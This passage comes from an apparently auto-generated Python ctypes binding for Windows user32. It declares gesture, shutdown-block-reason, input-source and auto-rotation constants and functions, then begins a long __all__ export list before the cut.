('dwWant', DWORD),\n ('dwBlock', DWORD),\n ]\n\n\nGESTURECONFIG = tagGESTURECONFIG\nPGESTURECONFIG = POINTER(tagGESTURECONFIG)\n\n\nGC_ALLGESTURES = 0x00000001\nGC_ZOOM = 0x00000001\nGC_PAN = 0x00000001\nGC_PAN_WITH_SINGLE_FINGER_VERTICALLY = 0x00000002\nGC_PAN_WITH_SINGLE_FINGER_HORIZONTALLY = 0x00000004\nGC_PAN_WITH_GUTTER = 0x00000008\nGC_PAN_WITH_INERTIA = 0x00000010\nGC_ROTATE = 0x00000001\nGC_TWOFINGERTAP = 0x00000001\nGC_PRESSANDTAP = 0x00000001\nGC_ROLLOVER = GC_PRESSANDTAP\nGESTURECONFIGMAXCOUNT = 0x00000100\n\n# WINAPI\n# SetGestureConfig(\n# _In_ HWND hwnd,\n# _In_ DWORD dwReserved,\n# _In_ UINT cIDs,\n# _In_reads_(cIDs) PGESTURECONFIG pGestureConfig,\n#\n# _In_ UINT cbSize);\nSetGestureConfig = user32.SetGestureConfig\nSetGestureConfig.restype = WINAPI\n\nGCF_INCLUDE_ANCESTORS = 0x00000001\n\n# WINAPI\n# GetGestureConfig(\n# _In_ HWND hwnd,\n# _In_ DWORD dwReserved,\n# _In_ DWORD dwFlags,\n# _In_ PUINT pcIDs,\n#\n# _Inout_updates_(*pcIDs) PGESTURECONFIG pGestureConfig,\n#\n# _In_ UINT cbSize);\nGetGestureConfig = user32.GetGestureConfig\nGetGestureConfig.restype = WINAPI\n\nNID_INTEGRATED_TOUCH = 0x00000001\nNID_EXTERNAL_TOUCH = 0x00000002\nNID_INTEGRATED_PEN = 0x00000004\nNID_EXTERNAL_PEN = 0x00000008\nNID_MULTI_INPUT = 0x00000040\nNID_READY = 0x00000080\nMAX_STR_BLOCKREASON = 0x00000100\n\n# WINAPI\n# ShutdownBlockReasonCreate(\n# _In_ HWND hWnd,\n# _In_ LPCWSTR pwszReason);\nShutdownBlockReasonCreate = user32.ShutdownBlockReasonCreate\nShutdownBlockReasonCreate.restype = WINAPI\n\n\n# WINAPI\n# ShutdownBlockReasonQuery(\n# _In_ HWND hWnd,\n# _Out_writes_opt_(*pcchBuff) LPWSTR pwszBuff,\n# _Inout_ DWORD *pcchBuff);\nShutdownBlockReasonQuery = user32.ShutdownBlockReasonQuery\nShutdownBlockReasonQuery.restype = WINAPI\n\n\n# WINAPI\n# ShutdownBlockReasonDestroy(\n# _In_ HWND hWnd);\nShutdownBlockReasonDestroy = user32.ShutdownBlockReasonDestroy\nShutdownBlockReasonDestroy.restype = WINAPI\n\nclass tagINPUT_MESSAGE_DEVICE_TYPE(ENUM):\n IMDT_UNAVAILABLE = 0x00000000\n IMDT_KEYBOARD = 0x00000001\n IMDT_MOUSE = 0x00000002\n IMDT_TOUCH = 0x00000004\n IMDT_PEN = 0x00000008\n #if(WINVER > = 9\n IMDT_TOUCHPAD = 0x00000010\n #endif = 17\n\n\nINPUT_MESSAGE_DEVICE_TYPE = tagINPUT_MESSAGE_DEVICE_TYPE\n\n\nclass tagINPUT_MESSAGE_ORIGIN_ID(ENUM):\n IMO_UNAVAILABLE = 0x00000000\n IMO_HARDWARE = 0x00000001\n IMO_INJECTED = 0x00000002\n IMO_SYSTEM = 0x00000004\n\n\nINPUT_MESSAGE_ORIGIN_ID = tagINPUT_MESSAGE_ORIGIN_ID\n\n\n\n# WINAPI\n# GetCurrentInputMessageSource(\n# _Out_ INPUT_MESSAGE_SOURCE *inputMessageSource);\nGetCurrentInputMessageSource = user32.GetCurrentInputMessageSource\nGetCurrentInputMessageSource.restype = WINAPI\n\n\n# WINAPI\n# GetCIMSSM(\n# _Out_ INPUT_MESSAGE_SOURCE *inputMessageSource);\nGetCIMSSM = user32.GetCIMSSM\nGetCIMSSM.restype = WINAPI\n\nclass tagAR_STATE(ENUM):\n AR_ENABLED = 0x0\n AR_DISABLED = 0x1\n AR_SUPPRESSED = 0x2\n AR_REMOTESESSION = 0x4\n AR_MULTIMON = 0x8\n AR_NOSENSOR = 0x10\n AR_NOT_SUPPORTED = 0x20\n AR_DOCKED = 0x40\n AR_LAPTOP = 0x80\n\n\nAR_STATE = tagAR_STATE\nPAR_STATE = POINTER(tagAR_STATE)\n\n\nclass ORIENTATION_PREFERENCE(ENUM):\n ORIENTATION_PREFERENCE_NONE = 0x0\n ORIENTATION_PREFERENCE_LANDSCAPE = 0x1\n ORIENTATION_PREFERENCE_PORTRAIT = 0x2\n ORIENTATION_PREFERENCE_LANDSCAPE_FLIPPED = 0x4\n ORIENTATION_PREFERENCE_PORTRAIT_FLIPPED = 0x8\n\n\n\n\n# WINAPI\n# GetAutoRotationState(\n# _Out_ PAR_STATE pState);\nGetAutoRotationState = user32.GetAutoRotationState\nGetAutoRotationState.restype = WINAPI\n\n\n# WINAPI\n# GetDisplayAutoRotationPreferences(\n# _Out_ ORIENTATION_PREFERENCE *pOrientation);\nGetDisplayAutoRotationPreferences = user32.GetDisplayAutoRotationPreferences\nGetDisplayAutoRotationPreferences.restype = WINAPI\n\n\n# WINAPI\n# GetDisplayAutoRotationPreferencesByProcessId(\n# _In_ DWORD dwProcessId,\n# _Out_ ORIENTATION_PREFERENCE *pOrientation,\n# _Out_ BOOL *fRotateScreen);\nGetDisplayAutoRotationPreferencesByProcessId = (\n user32.GetDisplayAutoRotationPreferencesByProcessId\n)\nGetDisplayAutoRotationPreferencesByProcessId.restype = WINAPI\n\n\n# WINAPI\n# SetDisplayAutoRotationPreferences(\n# _In_ ORIENTATION_PREFERENCE orientation);\nSetDisplayAutoRotationPreferences = user32.SetDisplayAutoRotationPreferences\nSetDisplayAutoRotationPreferences.restype = WINAPI\n\n\n# WINAPI\n# IsImmersiveProcess(\n# _In_ HANDLE hProcess);\nIsImmersiveProcess = user32.IsImmersiveProcess\nIsImmersiveProcess.restype = WINAPI\n\n\n# WINAPI\n# SetProcessRestrictionExemption(\n# _In_ BOOL fEnableExemption);\nSetProcessRestrictionExemption = user32.SetProcessRestrictionExemption\nSetProcessRestrictionExemption.restype = WINAPI\n\n\n__all__ = (\n 'SLE_ERROR', 'VK_OEM_ATTN', 'SPI_SCREENSAVERRUNNING', 'WM_MOUSELEAVE',\n 'MF_BYCOMMAND', 'QS_PAINT', 'LB_SELECTSTRING', 'WM_NOTIFYFORMAT', 'MB_OK',\n 'SPI_GETBLOCKSENDINPUTRESETS', 'INPUTLANGCHANGE_SYSCHARSET', 'VK_TAB',\n 'PostAppMessage', 'EnumDesktops', 'IS_POINTER_INCONTACT_WPARAM', 'GC_PAN',\n 'RDW_NOINTERNALPAINT', 'SOUND_SYSTEM_INFORMATION', 'VK_NAVIGATION_VIEW',\n 'SS_WHITERECT', 'MOUSEWHEEL_ROUTING_FOCUS', 'SM_SHUTTINGDOWN', 'IDABORT',\n 'SPI_SETGESTUREVISUALIZATION', 'SB_PAGEUP', 'WM_GETICON', 'LBS_COMBOBOX',\n 'WTS_SESSION_REMOTE_CONTROL', 'EVENT_SYSTEM_DIALOGEND', 'SPI_GETWORKAREA',\n 'STATE_SYSTEM_PRESSED', 'VK_ICO_00', 'MAPVK_VSC_TO_VK', 'CB_GETCOUNT',\n 'GCLP_HICON', 'DLGC_WANTMESSAGE', 'PM_QS_INPUT', 'WPF_RESTORETOMAXIMIZED',\n 'SPI_ICONVERTICALSPACING', 'WH_SHELL', 'PostAppMessageW', 'CB_GETEDITSEL',\n 'SPI_GETLOGICALDPIOVERRIDE', 'POINTER_FLAG_NONE', 'WM_CTLCOLORBTN',\n 'GID_ROTATE_ANGLE_TO_ARGUMENT', 'KF_DLGMODE', 'SBM_GETRANGE', 'DT_LEFT',\n 'SPI_SETMOUSECLICKLOCK', 'RDW_ERASENOW', 'WM_NCMOUSELEAVE', 'LoadMenu',\n 'SWP_NOCOPYBITS', 'MB_RETRYCANCEL', 'GetNextWindow', 'LR_VGACOLOR',\n 'POINTER_FLAG_THIRDBUTTON', 'SPI_GETNONCLIENTMETRICS', 'VK_HANJA', 'IDOK',\n 'DCX_INTERSECTUPDATE', 'WM_KEYFIRST', 'MF_INSERT', 'SKF_RCTLLATCHED',\n 'RI_MOUSE_BUTTON_4_DOWN', 'IS_POINTER_NEW_WPARAM', 'SM_CXMINIMIZED',\n 'COLOR_BTNHIGHLIGHT', 'LB_GETANCHORINDEX', 'DialogBoxIndirectA', 'GWL_ID',\n 'GET_NCHITTEST_WPARAM', 'MFS_UNCHECKED', 'WM_SYSCOMMAND', 'MB_TASKMODAL',\n 'WINSTA_READATTRIBUTES', 'UOI_FLAGS', 'MAKEWPARAM', 'WM_POINTERWHEEL',\n 'APPCOMMAND_BASS_BOOST', 'wvsprintf', 'VK_MULTIPLY', 'SM_IMMENABLED',\n 'SPI_SETPENSIDEMOVETHRESHOLD', 'DFCS_SCROLLLEFT', 'WS_EX_WINDOWEDGE',\n 'HWND_BROADCAST', 'EVENT_OBJECT_DRAGCANCEL', 'VK_OEM_CLEAR', 'UIS_SET',\n 'SPI_SETFOCUSBORDERHEIGHT', 'MOUSEEVENTF_RIGHTDOWN', 'ESB_ENABLE_BOTH',\n 'APPCOMMAND_BROWSER_STOP', 'GrayString', 'SB_PAGERIGHT', 'OIC_WARNING',\n 'MK_RBUTTON', 'SS_ETCHEDFRAME', 'SIZE_MAXSHOW', 'GC_ROLLOVER', 'HELP_KEY',\n 'STATE_SYSTEM_OFFSCREEN', 'PDC_ARRIVAL', 'EVENT_UIA_EVENTID_START',\n 'WTS_CONSOLE_CONNECT', 'EVENT_SYSTEM_SCROLLINGEND', 'RIM_TYPEMOUSE',\n 'RT_DIALOG', 'DSS_MONO', 'INDEXID_OBJECT', 'IDC_HELP', 'OCR_SIZEWE',\n 'BSF_NOHANG', 'ES_AUTOHSCROLL', 'OIC_QUES', 'RDW_NOCHILDREN', 'IDC_PIN',\n 'EVENT_OBJECT_IME_SHOW', 'STATE_SYSTEM_SELECTED', 'MSGF_MAX', 'EM_SETSEL',\n 'SKF_LCTLLOCKED', 'WM_NCPOINTERUP', 'SystemParametersInfo', 'SC_ARRANGE',\n 'VK_PROCESSKEY', 'SM_CXDLGFRAME', 'TOUCHEVENTF_PALM', 'SM_ARRANGE',\n 'WTS_REMOTE_CONNECT', 'EVENT_OBJECT_IME_CHANGE', 'LR_COLOR', 'DDL_SYSTEM',\n 'CDS_NORESET', 'OBM_OLD_ZOOM', 'MOUSEWHEEL_ROUTING_HYBRID', 'MB_TOPMOST',\n 'SPI_GETDRAGFROMMAXIMIZE', 'WM_MDIMAXIMIZE', 'WINSTA_EXITWINDOWS', 'IDNO',\n 'EM_GETMODIFY', 'SetClassLong', 'CWP_SKIPDISABLED', 'PM_QS_POSTMESSAGE',\n 'LB_GETCARETINDEX', 'STATE_SYSTEM_FOCUSED', 'SPI_SETHIGHCONTRAST', 'FALT',\n 'HTTRANSPARENT', 'ULW_EX_NORESIZE', 'SetWindowText', 'WM_CHILDACTIVATE',\n 'ESB_DISABLE_UP', 'OBM_OLD_CLOSE', 'CF_OEMTEXT', 'SC_CLOSE',\n 'SPI_SETMINIMUMHITRADIUS', 'RDW_INTERNALPAINT', 'CF_MAX', 'OBJID_ALERT',\n 'CS_BYTEALIGNCLIENT', 'VK_PACKET', 'SPI_SETSCREENREADER', 'GA_PARENT',\n 'GUI_INMOVESIZE', 'SKF_CONFIRMHOTKEY', 'HTCLOSE', 'LLKHF_EXTENDED',\n 'STATE_SYSTEM_UNAVAILABLE', 'LLMHF_LOWER_IL_INJECTED', 'SM_CYFOCUSBORDER',\n 'TIMERV_NO_COALESCING', 'VK_GAMEPAD_VIEW', 'WH_MAX', 'WM_DROPFILES',\n 'SPI_SETDOUBLECLICKTIME', 'GID_BEGIN', 'MAX_TOUCH_COUNT', 'MIM_STYLE',\n 'EWX_QUICKRESOLVE', 'WINSTA_ENUMERATE', 'DefDlgProc', 'HC_SKIP', 'UOI_IO',\n 'EM_GETPASSWORDCHAR', 'OBM_REDUCE', 'VK_SNAPSHOT', 'CHILDID_SELF',\n 'COLOR_INACTIVECAPTIONTEXT', 'ODS_CHECKED', 'OIC_SAMPLE', 'MIIM_ID',\n 'SPI_GETFONTSMOOTHING', 'DESKTOP_ENUMERATE', 'DS_CONTEXTHELP', 'DST_TEXT',\n 'EVENT_OBJECT_DRAGLEAVE', 'WH_KEYBOARD_LL', 'WM_DESTROY', 'QS_RAWINPUT',\n 'ARW_STARTRIGHT', 'OCR_UP', 'WS_EX_LEFT', 'KF_ALTDOWN', 'VK_OEM_JUMP',\n 'WM_MENUDRAG', 'SPI_SETDESKPATTERN', 'MK_CONTROL', 'LB_GETITEMDATA',\n 'APPCOMMAND_MIC_ON_OFF_TOGGLE', 'SPI_GETSCREENSAVERRUNNING', 'MB_HELP',\n 'SM_CXMINSPACING', 'VK_OEM_FJ_LOYA', 'CB_GETITEMHEIGHT', 'MF_BYPOSITION',\n 'PDC_ORIENTATION_90', 'WM_NCPOINTERDOWN', 'ARW_BOTTOMRIGHT', 'RES_ICON',\n 'APPCOMMAND_MEDIA_PREVIOUSTRACK', 'SPI_GETKEYBOARDDELAY', 'WM_MBUTTONUP',\n 'GESTUREVISUALIZATION_DOUBLETAP', 'SPI_GETFONTSMOOTHINGTYPE', 'SB_VERT',\n 'EM_EMPTYUNDOBUFFER', 'WS_EX_OVERLAPPEDWINDOW', 'LoadMenuIndirect',\n 'IS_POINTER_SECONDBUTTON_WPARAM', 'VK_HANGEUL', 'DDL_HIDDEN', 'TME_QUERY',\n 'IS_POINTER_FIRSTBUTTON_WPARAM', 'HELP_SETCONTENTS', 'MNGO_NOINTERFACE',\n 'SM_MENUDROPALIGNMENT', 'GET_DEVICE_CHANGE_LPARAM', 'OBM_CHECK', 'WM_CUT',\n 'VK_HELP', 'WM_KEYUP', 'EVENT_MIN', 'SM_CYKANJIWINDOW', 'DispatchMessage',\n 'WM_XBUTTONDBLCLK', 'SPI_SETTOOLTIPANIMATION', 'APPCOMMAND_CUT', 'PWR_OK',\n 'CBS_LOWERCASE', 'VK_OEM_BACKTAB', 'OBM_ZOOMD', 'CBS_AUTOHSCROLL',\n 'RemoveProp', 'SPI_SETLOWPOWERTIMEOUT', 'MAKEINTRESOURCEA', 'VK_CANCEL',\n 'SM_CYMINTRACK', 'VK_OEM_RESET', 'EVENT_UIA_EVENTID_END', 'VK_NUMLOCK',\n 'MAKEINTRESOURCEW', 'EVENT_OBJECT_END', 'SM_CYMAXTRACK', 'INPUT_HARDWARE',\n 'TPM_RIGHTALIGN', 'VK_BROWSER_STOP', 'WM_INITDIALOG', 'MWMO_ALERTABLE',\n 'EVENT_SYSTEM_CAPTUREEND', 'EVENT_SYSTEM_SWITCHEND', 'OBM_SIZE', 'HTHELP',\n 'EVENT_SYSTEM_MOVESIZESTART', 'MF_RIGHTJUSTIFY', 'GC_PRESSANDTAP',\n 'BS_NOTIFY', 'WM_IME_REQUEST', 'SETWALLPAPER_DEFAULT', 'MSGF_DIALOGBOX',\n 'WM_SYSCOLORCHANGE', 'WM_MDIACTIVATE', 'VK_SLEEP', 'SS_TYPEMASK', 'VK_F9',\n 'WM_TOUCH', 'ISMEX_REPLIED', 'COLOR_3DDKSHADOW', 'OCR_SIZE', 'SC_HSCROLL',\n 'TIMERV_COALESCING_MIN', 'SPI_GETPENDRAGOUTTHRESHOLD', 'SKF_RALTLATCHED',\n 'SPI_GETMOUSESPEED', 'POINTER_FLAG_SECONDBUTTON', 'GCLP_HBRBACKGROUND',\n 'DS_FIXEDSYS', 'WS_BORDER', 'DefHookProc', 'MOUSE_MOVE_RELATIVE', 'VK_F8',\n 'VK_OEM_AX', 'SPI_GETCLIENTAREAANIMATION', 'SC_TASKLIST', 'ARW_LEFT',\n 'DISP_CHANGE_BADPARAM', 'WM_MOUSEHWHEEL', 'WMSZ_BOTTOM', 'TPM_LEFTBUTTON',\n 'WM_GETDLGCODE', 'SERKF_SERIALKEYSON', 'MSGF_NEXTWINDOW', 'OCR_HAND',\n 'DEVICE_NOTIFY_WINDOW_HANDLE', 'MF_DEFAULT', 'EVENT_OBJECT_CREATE',\n 'HSHELL_APPCOMMAND', 'SPI_SETMENUFADE', 'DLGC_WANTARROWS', 'VK_XBUTTON2',\n 'VK_XBUTTON1', 'TPM_RETURNCMD', 'PBT_APMSTANDBY', 'EVENT_OBJECT_REORDER',\n 'ES_MULTILINE', 'SHOW_ICONWINDOW', 'AW_HOR_NEGATIVE', 'RID_INPUT',\n 'OBJID_CURSOR', 'GWL_USERDATA', 'SPI_SETSHOWSOUNDS', 'GetClassLongPtrW',\n 'OCR_NORMAL', 'SKF_AUDIBLEFEEDBACK', 'SM_CYVSCROLL', 'HCBT_ACTIVATE',\n 'ALERT_SYSTEM_ERROR', 'ARW_TOPLEFT', 'LBS_NOSEL', 'GetClassLongPtrA',\n 'SC_MOUSEMENU', 'WH_JOURNALRECORD', 'DESKTOP_CREATEMENU', 'ODT_STATIC',\n 'VK_GAMEPAD_LEFT_TRIGGER', 'VK_OEM_COMMA', 'STATE_SYSTEM_DEFAULT',\n 'DDL_READONLY', 'WMSZ_LEFT', 'RealGetWindowClass', 'RIDEV_EXMODEMASK',\n 'POINTER_MESSAGE_FLAG_THIRDBUTTON', 'PBT_APMOEMEVENT', 'BS_AUTOCHECKBOX',\n 'IDC_IBEAM', 'DCX_EXCLUDEUPDATE', 'CBS_DROPDOWN', 'GW_HWNDLAST', 'VK_F3',\n 'SPI_SETPENDOCKTHRESHOLD', 'MNGOF_TOPGAP', 'MIM_MENUDATA', 'BF_TOPLEFT',\n 'SKF_RWINLOCKED', 'SW_SHOWMAXIMIZED', 'LR_COPYFROMRESOURCE', 'EM_SETRECT',\n 'ODA_DRAWENTIRE', 'WH_JOURNALPLAYBACK', 'WM_NCXBUTTONDOWN', 'BF_DIAGONAL',\n 'CS_BYTEALIGNWINDOW', 'VK_NAVIGATION_ACCEPT', 'SPI_GETGRIDGRANULARITY',\n 'GIDC_ARRIVAL', 'DDL_ARCHIVE', 'COLOR_HIGHLIGHT', 'CreateWindowStation',\n 'DialogBoxParam', 'EDS_ROTATEDMODE', 'SPI_GETDRAGFULLWINDOWS', 'MB_YESNO',\n '_Inout_grows_updates_bypassable_or_z_', 'EC_USEFONTINFO', 'OBM_RGARROW',\n 'LBN_KILLFOCUS', 'SPI_SETWAITTOKILLSERVICETIMEOUT', 'ORD_LANGDRIVER',\n 'COLOR_GRADIENTACTIVECAPTION', 'DT_MODIFYSTRING', 'SPI_SETHANDHELD',\n 'WM_EXITSIZEMOVE', 'STM_GETICON', 'SB_RIGHT', 'ExitWindows', 'WM_PAINT',\n 'SKF_LSHIFTLATCHED', 'TPM_HORPOSANIMATION', 'SPI_GETMINIMIZEDMETRICS',\n 'KEYBOARD_OVERRUN_MAKE_CODE', 'WM_COMPAREITEM', 'WS_EX_RIGHT', 'SB_BOTH',\n 'EVENT_SYSTEM_CAPTURESTART', 'SPI_GETCURSORSHADOW', 'SB_PAGELEFT',\n 'APPCOMMAND_CORRECTION_LIST', 'APPCOMMAND_BROWSER_FORWARD', 'EM_CANUNDO',\n 'MSGFLTINFO_ALLOWED_HIGHER', 'SPI_SETSYSTEMLANGUAGEBAR', 'MB_YESNOCANCEL',\n 'MB_SERVICE_NOTIFICATION_NT3X', 'EVENT_SYSTEM_CONTEXTHELPEND', 'WS_CHILD',\n 'TPM_NONOTIFY', 'APPCOMMAND_SPELL_CHECK', 'KEYEVENTF_KEYUP', 'PM_REMOVE',\n 'DESKTOP_JOURNALPLAYBACK', 'IDI_QUESTION', 'SPI_SETSHOWIMEUI', 'VK_NEXT',\n 'DialogBox', 'CDS_GLOBAL', 'LB_INSERTSTRING', 'WM_LBUTTONUP', 'BM_CLICK',\n 'EM_GETFIRSTVISIBLELINE', 'DWLP_DLGPROC', 'HSHELL_WINDOWACTIVATED',\n 'RT_ICON', 'APPCOMMAND_LAUNCH_MAIL', 'MND_ENDMENU', 'DFCS_CAPTIONRESTORE',\n 'SPI_SETMOUSETRAILS', 'WM_KEYLAST', 'VK_MEDIA_NEXT_TRACK', 'HWND_TOPMOST',\n 'RI_MOUSE_MIDDLE_BUTTON_DOWN', 'VK_PRIOR', 'APPCOMMAND_MEDIA_PLAY_PAUSE',\n 'IDIGNORE', 'SWP_DEFERERASE', 'VK_BACK', 'ATF_TIMEOUTON', 'DFC_SCROLL',\n 'SOUND_SYSTEM_MENUPOPUP', 'ISMEX_CALLBACK', 'SPI_GETCLEARTYPE', 'VK_F2',\n 'HSHELL_WINDOWREPLACING', 'SB_ENDSCROLL', 'VK_GAMEPAD_A', 'VK_GAMEPAD_B',\n 'SBM_GETSCROLLINFO', 'VK_F1', 'WSF_VISIBLE', 'VK_F6', 'ES_NOHIDESEL',\n 'VK_F4', 'SPI_GETHUNGAPPTIMEOUT', 'EM_GETLINECOUNT', 'BS_3STATE', 'VK_UP',\n 'VK_GAMEPAD_X', 'VK_GAMEPAD_Y', 'SPI_SETFONTSMOOTHINGORIENTATION',\n 'WS_EX_NOREDIRECTIONBITMAP', 'MKF_REPLACENUMBERS', 'PW_CLIENTONLY',\n 'CBS_OWNERDRAWVARIABLE', 'BSF_POSTMESSAGE', 'SS_REALSIZEIMAGE', 'DC_TEXT',\n 'SPI_GETPENARBITRATIONTYPE', 'WM_CHARTOITEM', 'WVR_REDRAW', 'AW_CENTER',\n 'SB_LINERIGHT', 'MF_USECHECKBITMAPS', 'GC_ROTATE', 'MNC_CLOSE', 'BS_LEFT',\n 'POINTER_MESSAGE_FLAG_NEW', 'MONITOR_DEFAULTTONULL', 'ODS_DISABLED',\n 'MF_UNCHECKED', 'CreateDialogA', 'PWR_SUSPENDRESUME', 'CB_SETEDITSEL',\n 'FLASHW_CAPTION', 'BN_PAINT', 'HCF_INDICATOR', 'DT_RIGHT', 'GF_INERTIA',\n 'DFCS_SCROLLSIZEGRIP', 'SPI_SETUIEFFECTS', 'SPI_SETDRAGWIDTH', 'BF_RIGHT',\n 'WM_ENTERIDLE', 'SPI_SETKEYBOARDSPEED', 'EDGE_SUNKEN', 'HCBT_CREATEWND',\n 'SPI_GETWINDOWSEXTENSION', 'STATE_SYSTEM_LINKED', 'LB_GETITEMHEIGHT',\n 'EVENT_SYSTEM_SWITCHSTART', 'EIMES_CANCELCOMPSTRINFOCUS', 'ODS_GRAYED',\n 'SPI_GETFILTERKEYS', 'EM_CHARFROMPOS', 'WM_POWERBROADCAST', 'SS_CENTER',\n 'VK_OEM_CUSEL', 'SPI_SETFILTERKEYS', 'FLASHW_STOP', 'SPI_SETDRAGHEIGHT',\n 'EC_LEFTMARGIN', 'TOUCHPREDICTIONPARAMETERS_DEFAULT_SAMPLETIME', 'ARW_UP',\n 'SPI_SETLOWPOWERACTIVE', 'SPI_SETMOUSESONAR', 'VK_RCONTROL',\n 'RI_MOUSE_BUTTON_3_DOWN', 'EC_RIGHTMARGIN', 'RIM_INPUTSINK', 'VK_NUMPAD9',\n 'VK_GAMEPAD_RIGHT_THUMBSTICK_BUTTON', 'SPI_GETPENDOCKTHRESHOLD', 'HTMENU',\n 'WPF_SETMINPOSITION', 'SM_CXDOUBLECLK', 'SPI_GETMENUDROPALIGNMENT',\n 'VK_NUMPAD8', 'RI_KEY_TERMSRV_SET_LED', 'VK_NUMPAD3', 'VK_NUMPAD2',\n 'VK_NUMPAD1', 'VK_NUMPAD0', 'VK_NUMPAD7', 'VK_NUMPAD6', 'VK_NUMPAD5',\n 'VK_NUMPAD4', 'BN_DBLCLK', 'IDHOT_SNAPDESKTOP', 'LB_GETITEMRECT', 'KF_UP',\n 'HELP_HELPONHELP', 'HSHELL_ACTIVATESHELLWINDOW', 'SPI_GETMESSAGEDURATION',\n 'MB_USERICON', 'VK_OEM_MINUS', 'EM_SETRECTNP', 'PWR_SUSPENDREQUEST',\n 'CS_OWNDC', 'IDC_HAND', 'WM_ASKCBFORMATNAME', 'WM_COMMAND', 'HELP_INDEX',\n 'STM_SETIMAGE', 'COLOR_WINDOWTEXT', 'COLOR_INACTIVEBORDER', 'BS_BOTTOM',\n 'OBM_RGARROWI', 'HELP_CONTEXT', 'POINTER_FLAG_INCONTACT', 'OBM_RGARROWD',\n 'VK_GAMEPAD_LEFT_THUMBSTICK_RIGHT', 'GetTabbedTextExtent', 'KLF_REORDER',\n 'SPI_GETMINIMUMHITRADIUS', 'DialogBoxIndirectParam', 'WS_EX_CONTEXTHELP',\n 'DlgDirSelectComboBoxEx', 'MOUSEEVENTF_MIDDLEDOWN', 'PEN_FLAG_BARREL',\n 'FE_FONTSMOOTHINGORIENTATIONRGB', 'DI_COMPAT', 'BN_CLICKED', 'DrawText',\n 'MOUSEEVENTF_WHEEL', 'SPI_GETWAITTOKILLSERVICETIMEOUT', 'BS_RIGHT',\n 'MFT_MENUBREAK', 'SPI_GETHANDEDNESS', 'MF_MENUBREAK', 'DC_ACTIVE',\n 'APPCOMMAND_BROWSER_BACKWARD', 'DS_CONTROL', 'ODS_INACTIVE', 'EM_GETSEL',\n 'EVENT_SYSTEM_DIALOGSTART', 'SPI_SETICONTITLEWRAP', 'WM_DESTROYCLIPBOARD',\n 'WS_EX_APPWINDOW', 'BSM_ALLCOMPONENTS', 'CopyCursor', 'SM_CXMENUCHECK',\n 'WM_MEASUREITEM', 'APPCOMMAND_MEDIA_RECORD', 'MB_CANCELTRYCONTINUE',\n 'LoadAccelerators', 'SW_SMOOTHSCROLL', 'DT_HIDEPREFIX', 'BF_FLAT',\n 'TOUCHINPUTMASKF_EXTRAINFO', 'RI_KEY_TERMSRV_SHADOW', 'BST_INDETERMINATE',\n 'WM_POINTERCAPTURECHANGED', 'EVENT_OBJECT_CLOAKED', 'RIDEV_EXCLUDE',\n 'ChangeDisplaySettings', 'TOUCHEVENTF_PEN', 'WVR_VREDRAW', 'MWMO_WAITALL',\n 'SB_THUMBTRACK', 'POINTER_MESSAGE_FLAG_CANCELED', 'WM_MDIRESTORE',\n 'WHEEL_DELTA', 'WH_HARDWARE', 'SM_MOUSEHORIZONTALWHEELPRESENT', 'DT_TOP',\n 'LoadCursor', 'WS_SIZEBOX', 'WM_NCMBUTTONUP', 'SS_NOPREFIX', 'DT_TABSTOP',\n 'LBS_MULTIPLESEL', 'IsCharAlpha', 'TKF_HOTKEYSOUND', 'LR_LOADMAP3DCOLORS',\n 'SM_CONVERTIBLESLATEMODE', 'HBMMENU_POPUP_MINIMIZE', 'WM_IME_SELECT',\n 'EVENT_SYSTEM_MOVESIZEEND', 'GUI_INMENUMODE', 'WM_IME_KEYUP', 'DS_CENTER',\n 'SPI_SETHANDEDNESS', 'VK_LAUNCH_APP1', 'IDCONTINUE', 'VK_LAUNCH_APP2',\n 'GW_HWNDPREV', 'GET_DEVICE_LPARAM', 'SIZE_RESTORED', 'MFT_BITMAP',\n 'InsertMenuItem', 'WMSZ_BOTTOMLEFT', 'SPI_SETDOCKMOVING', 'LR_SHARED',\n 'EVENT_OBJECT_HIDE', 'TPM_BOTTOMALIGN', 'SPI_GETSCREENSAVETIMEOUT',\n 'SIZE_MINIMIZED', 'DialogBoxA', 'VK_OEM_FJ_ROYA', 'WM_POINTERHWHEEL',\n 'ODS_COMBOBOXEDIT', 'PBT_APMQUERYSUSPENDFAILED', 'BM_SETDONTCLICK',\n 'DDL_DRIVES', 'WM_NCPOINTERUPDATE', 'MAKEINTRESOURCE', 'CS_DBLCLKS',\n 'PM_QS_SENDMESSAGE', 'WM_THEMECHANGED', 'DEVICE_NOTIFY_SERVICE_HANDLE',\n 'WM_KILLFOCUS', 'HKL_NEXT', 'HCBT_MOVESIZE', 'STATE_SYSTEM_CHECKED',\n 'QS_MOUSE', 'SPI_GETUIEFFECTS', 'WH_CALLWNDPROC', 'TKF_TOGGLEKEYSON',\n 'GCLP_MENUNAME', 'SM_CXMIN', 'TPM_LEFTALIGN', 'POINTTOPOINTS', 'VK_LWIN',\n 'RegisterClassEx', 'EM_SETMODIFY', 'MB_SETFOREGROUND', 'SKF_LALTLATCHED',\n 'EVENT_CONSOLE_CARET', 'SS_ENDELLIPSIS', 'EDGE_BUMP', 'CreateDesktopEx',\n 'HC_SYSMODALON', 'WM_QUERYUISTATE', 'LR_COPYRETURNORG', 'SC_PREVWINDOW',\n 'SPI_GETMOUSEHOVERTIME', 'CS_SAVEBITS', 'MF_MOUSESELECT', 'CreateWindow',\n 'VK_ESCAPE', 'MOUSE_ATTRIBUTES_CHANGED', 'GetWindowText', 'EM_SETHANDLE',\n 'SMTO_BLOCK', 'SPI_GETDROPSHADOW', 'ISMEX_NOTIFY', 'COLOR_BTNHILIGHT',\n 'BSF_IGNORECURRENTTASK', 'CONSOLE_CARET_VISIBLE', 'KLF_NOTELLSHELL',\n 'SendDlgItemMessage', 'WHEEL_PAGESCROLL', 'STN_DBLCLK', 'MapVirtualKeyEx',\n 'VK_PAUSE', 'LSFW_LOCK', 'WM_SETTINGCHANGE', 'SM_CXSMICON', 'SS_RIGHT',\n 'SPI_GETMENURECT', 'LB_DELETESTRING', 'EVENT_SYSTEM_SWITCHER_CANCELLED',\n 'HBMMENU_SYSTEM', 'WS_ICONIC', 'SPI_GETWHEELSCROLLCHARS', 'WM_KEYDOWN',\n 'DFCS_SCROLLRIGHT', 'SBS_SIZEBOXTOPLEFTALIGN', 'HELP_QUIT', 'WM_COPYDATA',\n 'DFCS_SCROLLSIZEGRIPRIGHT', 'WM_WININICHANGE', 'VK_PRINT', 'FNOINVERT',\n 'WM_WINDOWPOSCHANGING', 'OBJID_TITLEBAR', 'CB_GETITEMDATA', 'DC_INBUTTON',\n 'CWP_SKIPTRANSPARENT', 'FAPPCOMMAND_KEY', 'PENVISUALIZATION_CURSOR',\n 'ATF_ONOFFFEEDBACK', 'RT_VXD', 